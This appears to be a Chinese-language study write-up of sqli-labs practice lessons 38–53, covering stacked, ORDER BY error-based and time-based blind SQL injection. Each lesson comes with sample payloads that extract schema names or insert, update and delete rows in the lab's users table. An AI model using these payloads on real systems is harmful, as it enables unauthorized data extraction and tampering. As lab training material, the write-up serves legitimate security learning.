- less 38GET堆叠注入
- less 39GET堆叠注入数字型
- less 40GET堆叠注入盲注
- less 41上题的int型
- less 42POST基于错误的字符型堆叠注入
- less 43同上
- less 44POST基于报错的字符型堆叠盲注
- less 45POST基于报错的字符型堆叠盲注
- less 46ORDER BY数字型报错注入
- less 47ORDER BY 字符型报错注入
- less 48ORDER BY注入数字型盲注
- less 49ORDER BY盲注
- less 50基于报错的ORDER BY堆叠注入
- less 51基于报错的ORDER BY字符串型堆叠注入
- less 52ORDER BY盲注堆叠注入
- less 53上一题的字符型
less 38(GET堆叠注入)
-
原理 从别人的博客摘下来一些
国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
-
步骤 1.测试闭合根据错误信息了解为双引号
2.进行查数据库行为,前面的半句还可以像以往一样随便查,但是可以加;再次接一句,进行增删查改
样例payload:
?id=-1' union select 1,2,username where table_schema=database(); insert into users values('15','test','test') --+
less 39(GET堆叠注入数字型)
-
原理
原理见上
-
步骤
样例payload:
?id=-1 union select 1,2,3;delete from users where username='test' --+
这里我删除了上一题创建的test用户
# less 40(GET堆叠注入盲注)
- 原理
如果要利用盲注的话,还是用延时或者布尔条件判断,手工注入时间很长
如果要结合堆叠注入,还是加分号添加语句
- 步骤 1.测试出来闭合方式是’)
2.然后我又使用了38的方法,发现也可以查询,也可以插入数据,貌似没有什么改变
尝试了 insert update delete语句都可
除了闭合方式改变了
less 41(上题的int型)
-
原理 数字型没有单引号包括
-
步骤
所以说,还和上次的一样
样例payload:
?id=-1 union select 1,2,3 ; update users%20 set username='eeee' where id=16 --+
id=16语句是我之前就插入的
less 42(POST基于错误的字符型堆叠注入)
-
原理
这回有点提示了
利用堆叠注入自己创建一个账户
-
步骤
1.尝试在用户名处进行注入,最后还是无果,查看了源码
发现在username上有个mysql_real_escape_string函数,但是对password没有过滤
并且对其用单引号闭合,所以决定从password下手,经测试
注释符不能用–+ 但是#可以用
2.在password处进行显示位的注入,发现如果位置成功就会出现这个页面,一共三个显示位
payload:
-1' union select 1,2,3 #
3.爆库
-1' union select 1,database(),3 #
4.爆表
-1' union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='security' #
5.爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
所以说到这里就发现用户表是users了
那么我们就用堆叠注入向其中插入一条用户数据
6.插数据
-1';insert into users values('17','yep','yep') #
虽然显示的是错误画面,但是!想要的数据已经被插入进去了√
结果请自行查看数据库 ***
less 43(同上)
-
原理
相比于42改变闭合方式
-
步骤
将闭合方式改为’)
其余步骤同上一题,不再赘述
less 44(POST基于报错的字符型堆叠盲注)
-
原理
与42的唯一区别就是没有报错信息,需要自己尝试,不过也没有什么区别,发现42题用到的语句照样使用
-
步骤
闭合方式为’单引号,剩余的爆库查表查列名一样,最后再用堆叠注入插进一条数据
over
less 45(POST基于报错的字符型堆叠盲注)
-
原理
又是改变了闭合方式,经过之前的题目考验应该都了解得差不多
这次的闭合方式是’),其余的…与之前完全一样
样例payload:
-1') union select 1,2,3 #
***
less 46(ORDER BY数字型报错注入)
-
原理
题目是将输入的内容插入到ORDER BY语句中进行输出的
-
步骤
发现一个非常新颖的题型
按照题目给的提示给sort赋一个值发现
连续给sort=1;2;3发现
表中内容分别随第一列第二列第三列改变
当传入4时发现报错
报错内容和oder by语句一样,也就是说,sort被插入到order by后面了
1.于是我们可以利用报错注入爆出数据库名
?sort=4 and updatexml(1,concat(0x7c,(select database()),0x7c),1) --+
2.爆表名
?sort=1 and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.columns where table_schema='security' and table_name ),0x7c),1) --+
没有爆出来想要的就用not in逐个过滤一下,直到剩下users表
3.爆列名
?sort=1 and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='users'%20 ),0x7c),1) --+
less 47(ORDER BY 字符型报错注入)
-
原理
还是和上一题一样的配方,一样的味道,就是改了一下闭合方式
-
步骤
由于是字符型的,采用单引号闭合,其余步骤同上
样例payload:
?sort=1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='users'%20 ),0x7c),1) --+
***less 48(ORDER BY注入数字型盲注)
-
原理
没有报错信息了,需要进行盲注
需要用到那几个熟悉函数
length(),left(),substr(0,0,0),ascii(),还有if(),sleep()
-
步骤
这一题使用延时盲注解决
获取长度
1 and if(length(database())=8,sleep(5),0)–+
获取值
1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))–+
less 49(ORDER BY盲注)
-
步骤
获取长度 1 and if(length(database())=8,sleep(5),0)–+ 获取值 1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))–+
less 50(基于报错的ORDER BY堆叠注入)
-
原理
还是盲注,有错误提醒,也可以报错注入,还要结合堆叠注入
-
步骤
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
?sort=1;insert into users values(18,'uuu','uuu')
***less 51(基于报错的ORDER BY字符串型堆叠注入)
-
原理
改变了闭合方式,仍旧是盲注加堆叠注入的方式
-
步骤 样例payload:
?sort=1';insert into users values(18,'uuu','uuu')
less 52(ORDER BY盲注堆叠注入)
-
原理
也不能报错注入,只能堆叠注入盲注,延时注入
-
步骤
?sort=1 and if(length(database())=8,sleep(5),0) --+
less 53(上一题的字符型)
就是改变了闭合方式,其余的不再赘述
样例payload:
`4' and if(length(database()) = 8 ,0,sleep(6)) --+`
`1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1`
`1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) and '1'='1`